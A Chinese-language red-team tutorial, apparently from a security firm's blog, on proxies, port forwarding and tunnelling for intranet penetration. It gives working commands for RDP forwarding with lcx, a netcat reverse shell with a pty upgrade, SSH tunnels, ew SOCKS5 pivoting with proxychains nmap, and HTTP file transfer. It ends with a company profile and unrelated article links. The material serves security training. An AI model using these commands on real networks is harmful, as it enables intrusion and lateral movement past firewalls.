百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 软件资讯 > 正文

内网渗透-详解代理逻辑及隧道

ninehua 2025-03-01 14:57 29 浏览

前言:

红蓝对抗过程中打点以后往往需要进行内网渗透和横向移动,因此大家都需要扎实掌握代理和隧道知识,一款优秀的代理工具也可以给内网渗透带来很大的收益。本期分享,小星将通过简单易懂的方式向大家普及各种代理逻辑及隧道的原理和操作过程。


(一)术语解析

01正向代理

代理客户端,帮助客户端完成所需请求。

举例:小星要向银行贷款,可是因为自己资历不够,所以不获银行放贷,小星个人无法贷到所需款项。此时,只要小星找一个满足资历的A先生去帮忙借贷,银行自然就会放贷。贷款到账后,A先生再私下把钱给到小星。从整个流程来看,对于银行(服务端)来说,款项是贷给A先生了,但实际上款项还是流向了小星(客户端),但银行(服务端)是不知道的。

生活应用场景举例:我们打算访问谷歌,YouTube,直接在百度上访问肯定是不行的,直接就会被墙拦截。但此时通过在国外的服务器搭建一个ssr,再通过shadowsocks进行正向代理去访问国外网站就会成功。因为此时我们是通过这个正向代理进行访问,然后这个正向代理将会把服务端的响应返还至我们。所以对于服务端来说,访问者只是这个国外服务器。

渗透过程中的举例:您得到了一台服务器的shell,并想要在metasploit中进行利用,如果服务器没有防火墙或者没有外部向内部发起连接的限制,那么我们就可以采用正向代理,由服务器开启一个监听模式,您在客户端请求监听,并在metasploit中得到shell。


02反向代理

代理服务端,帮服务端去完成所需请求。

举例:小星拨打电信客服电话,此时语音提示小星选择所需的业务办理和进入人工服务。当您完成选择后,服务器会根据您请求的业务进行分配,空闲的人工服务人员帮助小星解决问题。此时,小星(客户端)并不知道服务端中处理请求的人是谁,只知道是电信的人员,这种现象与正向代理相反。

生活应用场景举例:大家几乎都听过nginx反向代理,它是用来处理较大流量访问的好选择,意思就是它能进行一个负载均衡,因材施教。若您请求的是文件,那么就将请求发送到专门的文件服务器;若您请求的是图片,那就发送到专门的图片服务器,大大减少服务器的负荷。

渗透过程的举例:您得到一台服务器的shell,并想要在metasploit中进行利用,但是服务器存在防火墙或者对外部直连服务器设有限制。此时,我们就可以利用shell在客户端开启一个监听模式,通过服务器请求属于我们客户端的监听,从而得到一个metasploit的meterpreter,这也是大家所说的“弹个shell”。


03端口转发

举例:socket就是ip+port,通信就是访问服务器加端口,所有服务都会对应一个端口,例如apache->80->8080。当服务开启时,流量都会走这个端口。我们访问http就是访问服务器的80端口的流量,同理端口转发时,就是把服务器A的a1映射到服务器B的一个b1,访问服务器B的b1就是A的a1端口。

生活应用场景举例:如果您的家中路由器有公网ip(一般是需要向中国电信等运营商申请企业版的宽带),并且家中的局域网设有一台笔记本,您利用笔记本开启了apache服务和在里面搭建了一个网站。若您想要把这个网站转发给不在家中局域网的朋友,此时您就可以通过路由器的管理界面进行端口转发,将您笔记本中的ip 80映射到路由器的80中,这样您朋友的访问路由器的公网ip就是您局域网中笔记本内的网站了。

渗透过程举例:转发3389相信大家都不陌生,提下一台windows的服务器,开启3389,添加管理员账号。此时发现服务器是内网ip,只是被映射到了公网上。我们如何进行连接呢?您只需要一台公网服务器(自行购买),通过shell将windows服务器的3389转发到公网的一个端口,然后再去连接您公网的所属端口就是内网服务器的3389了。


04 socks代理

socks,即sockets,是一种网络协议,用于客户端和外网服务器之间的通信,控制客户端访问外网的资格,需要得到用户同意后才将客户端的请求发往外部服务器。

介绍,也是一个代理协议。您可以理解为通过一个socks代理(socks5版本功能更强大),为一台服务器的连接进行代理,相当于把一个服务器代理出来,比端口转发更好用(因为端口转发可能就单单把一个3389端口转发出来)。通过socks5可以进行更多的操作,例如主机发现,端口扫描等等。此外,有个叫socks的服务器,有兴趣的用户也可以了解一下。

渗透测试的举例:我们常会听到一些话术,比如黑客对内网进行了漫游、横向移动、纵向移动等等。小星的理解是横向移动是拿下同c段的主机,纵向移动是一个局域网内不同c段可能更往上的主机被拿下(往往通过跳板机)。所以大多数的黑客都会进行socks5代理、主机发现、扫描等等,发现了一个局域网内的其他资产和层层代理中,每一层都会有个跳板。例如有一台双网卡主机,如果要拿下此台主机,那么另一个网卡地址也会暴露。此时利用这台主机对另一个网卡进行渗透,这就是跳板。毕竟网络能够到达才能开展攻击。


05桥接

工作与osi的第二层-数据链路层,对数据包进行转发。虚拟机中的桥接大家可以理解为我们局域网中的一台主机,大家都能到达访问。


06 nat

网络地址转换协议,一个局域网内的主机想要与公网通信,需要通过如路由器的公网ip进行nat转换为公网ip,才可以进行通信(解决ipv4 ip不够用的问题)。虚拟机的场景就是一台nat虚拟机通过把物理机当做一个路由器。我们在局域网内是无法单纯访问nat虚拟机,若想要访问,则需要通过代理。Nat可以访问桥接,桥接相反。


07 ssh隧道

ssh不仅可以进行加密连接管理一个服务器,也可以用其进行端口转发。区别于上面的端口转发,大部分服务器都是自带ssh服务,无需上传工具 方便隐蔽。


(二)操作过程

01 转发3389

所需工具:lcx.exe-转发windows端口,portmap转发linux端口

实验环境:桥接的kali(192),nat的win2008(172)

目的:kali通过win2008的远程桌面进行管理

网络情况:nat可以ping通kali,kali ping不通nat

条件:拥有以上两台服务器的shell(渗透过程中亦然)

转发过程:

1)Kali上先监听一个端口1234,且把流量转到8888。

2)Windows上传lcx.exe,且执行:lcx.exe -slave 192.168.0.102 1234 127.0.0.1 3389,意思就是连接192的1234端口且把3389流量转发过去。

3)此时kali收到响应信息。

4)Kali命令行执行rdesktop 127.0.0.1:8888,成功访问nat的3389。

02 nc反弹shell

Nc是netcat,一款网络工具,在黑客攻击中常用来做通道和反弹shell。

需要工具:nc,大部分linux服务器自带

实验环境:桥接的kali(192),nat的centos(172)

目的:kali得到nat的shell

网络情况:nat可以ping通kali,kali ping不通nat

条件:拥有以上两台服务器的shell(渗透过程中亦然)

转发过程:

1)Kali上首先监听一个端口4445。

2)Nat进行请求kali的4445端口,且返回一个shell。

3)此时查看kali,成功得到目标shell,这就是反弹shell。

4)扩展:此时为了方便可以利用python得到一个交互式shell。

命令:python -c 'import pty;pty.spawn("/bin/bash")'

03 ssh隧道

环境与nc反弹shell相同,此处不再赘述。

相关命令:

1)本地访问127.0.0.1:port1,就是host:port2 (相比之下,使用频率更高)。

ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发

2)访问host:port2,就是访问127.0.0.1:port1。

ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发

3)将dmz_host的hostport端口通过remote_ip转发到本地的port端口。

ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port

4)将dmz_host的hostport端口转发到remote_ip的port端口。

ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类


04 ew代理内网(socks5)

环境同上。

目标:桥接的kali访问nat的网站和Kali对nat的主机进行nmap端口扫描。

1)Nat主机上传ew工具:

2)Mac主机上传ew。因为环境问题,我们物理机和桥接、nat都通,桥接不同于nat,所以此时mac相当于我们的跳板机。

3)Nat主机执行 ./ew_for_Linux32 -s ssocksd -l 8887。

4)Mac物理机执行 ./ew_MacOS -s lcx_tran -l 1020 -f 172.16.143.170 -g 8887。

5)Kali尝试访问nat主机,但结果肯定是失败的。

6)在浏览器开启socks5代理再次尝试。

7)成功访问。

8)此时观察nat主机和mac主机命令行。

9)Nmap扫描目标,vi /etc/proxychains.conf添加一个socks5。

10)proxychains nmap -sT -Pn 172.16.143.170 (即可扫描)。

11)proxychains nc 172.16.143.170 21


05 实用命令

1)开启一个简易的http服务:

python -m http.server 9998(py3)

python -m SimpleHTTPServer 8887(py2)

2)客户端进行wget ip:port/下载您想要的文件即可,这常用于内网渗透中的文件传输。

3)开启一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'


(三)了解小星,了解星云博创

星云博创科技有限公司(简称“星云博创”)成立于2016年,是国内新兴的网络安全产品、可信安全管理平台、专业安全服务与解决方案的综合提供商。星云博创设北京为北方总部,广州为南方总部,并于成都、合肥、南昌、贵州、武汉、太原、哈尔滨等多个城市设立分支机构。同时,星云博创为不断完善客户服务体系和应急响应体系,在全国10余个省、市、自治区、直辖市建立三级服务支持中心,7×24小时接受客户需求,及时提供标准一致的安全服务。

作为一家以技术先导的企业,星云博创始终坚持在网络安全、数据安全、态势感知、等级保护、合规性安全管理等领域进行技术创新,利用安全分析、大数据分析、人工智能等技术,对网络空间安全要素、安全风险进行深度挖掘与关联分析,构建了多层次的纵深防御体系,持续推出态势感知平台、静态脱敏系统、终端安全监测系统等一系列优秀的安全产品和行业解决方案,广泛应用于政府、运营商、医疗、教育、电力、能源等多个领域,让风险无所遁形。

星云博创已获得ISO9001、ISO27001、 ISO20000管理体系认证,CMMI5软件成熟度认证,信息系统安全集成服务、信息安全风险评估服务、软件安全开发服务资质的CCRC二级认证,及安全运维服务资质、应急处理服务资质的CCRC三级认证。此外,星云博创还是国家信息安全漏洞库(CNNVD)技术支撑单位、海南省网络安全应急技术支撑单位、广州市应急联动机构支撑单位。

相关推荐

有哪些免费的PPT模板下载网站(有哪些免费ppt模板下载网址)

不管是工作介绍还是汇报,总结和计划,一旦说道要对工作来一个现场的展示,总是离不开ppt的。要说到没费的PPT模板首先想到的就是PPT宝藏,网如其名;其他还有很多网站大多数会提供部分的免费模板。下面介绍...

产品更新|PPT美化三部曲,微软OfficePLUS PPT插件帮你搞定

正所谓,意识决定成败!各位职场人们,想要从炫技型PPT选手蜕变成职场型PPT选手,你只需要一个了解职场需求的PPT插件。时隔一个月,微软OfficePLUSPPT插件带着新版本功能强势归来了!话不多...

关于officeLTSC 2021预览版与2021年1月17号到期重新新激活问题

最近打开Excel文件总会提醒officeLTSC2021预览版与2021年1月17号到期如下图:提示很吓人,如果不按照文件操作就意味着使用Excel只能只读不能编辑了。在网上查找资料,使用各种激活...

知道这8个PPT模板网站,答辩汇报永不发愁!

你还在为答辩PPT烦恼吗?最近,临近毕业答辩季,有很多学弟学妹给我发微信,说答辩PPT不知道该怎么做?是的,对大部分同学来说,在大学期间,毕业答辩可能是他第一次做PPT。可遇上如此重要的场...

办公软件office,用这个一键安装超简单

今天给大家分享的是一个office办公软件安装助手OfficeToolPlus,它集下载安装激活卸载修复为一体,解决office安装激活的各种难题需要安装office就点部署按钮,然后...

约吗?我这里有5个免费的PPT模板网址,赶紧码住

咳咳,来了家人们。今天继续搬出小仓库,给大家说说PPT模板,俺也是经历过找模板的痛苦,还花钱买过,说起来都是辛酸史了。那能免费白嫖为啥还要付费呢,说的是不是很有道理(我也是这么觉得,咳咳....)。今...

8款办公软件推荐,每一款都是精品!

当代办公室的工作方式已经发生了翻天覆地的变化。在过去,办公室工作主要依赖于纸质文件和传统的脱机沟通方式。然而,随着科技的飞速发展,数字化办公软件正在成为现代职场的标配。这些软件不仅使得工作更加高效和便...

实用网站推荐——office模板(PPT)

今天给大家分享一批Office的模板网站!office模板比较多的是PPT模板,做PPT是一件非常痛苦的事,自己做的要么太丑,要么搭配太单一,所以今天给大家分享一批网站,再也不用愁做PPT了。word...

1、Office Tool Plus工具部署与激活Office等软件

1、搜索并下载OfficeToolPlus工具,并将下载好的工具解压至相应的位置,尽量下载最新版本,新版本的支持性与兼容性更好2、双击打开OfficeToolPlus3、许可协议这里选择“是”...

Office Tool Plus,一个强大且实用的 Office 部署工具

OfficeToolPlus基于Office部署工具和OSPP制作,可以很方便的部署Office,其内置迅雷引擎可帮助您更快地下载Office,当然,你也可以使用OfficeT...

Windows 最稳定最流畅的官方版本,极限精简,3年更新一次

每次小淙发Windows的文章,就有人会吐槽Windows辣鸡,不稳定,bug多,虽然这些问题我都没遇到过,但我不相信电手的粉丝们是不会用电脑的,一定有什么不可抗力因素,一定是微软的问题。对...

自己轻松一键安装Office 2024专业版,详细操作教程

阅读前点个「关注」,获取每日精彩内容微软发布了Office2024版本,这个版本真的很强大。不但产品功能强大,而且体验流畅而丝滑。LTSC企业长期服务版建议选择:LTSC企业长期服务版,LTSC是公...

如何安装windows11和office2021并成功激活(二)

话接上回安装完毕windows11以后,点击officeToolPlus点击部署选择不是设置选择对应部署的office套件,小编选择LTSC2021专业增强版本,其他同学根据情况而定,如果不知道...

强烈安利6个设计必备网站,附赠精美毕业答辩模板

点击蓝字关注今天给大家推荐6个设计必备的网站,内容涵盖PPT、海报、图片编辑、思维导图设计等方面,话不多说,上干货!1OfficePlus-微软官方的免费模板传送门:www.officeplus.c...

微软Office离线部署工具Office Tool Plus

OfficeToolPlus(OTP)是用于MicrosoftOffice的便捷实用的脱机部署工具,基于Office部署工具。主要功能是帮助用户轻松下载和安装MicrosoftOffice。O...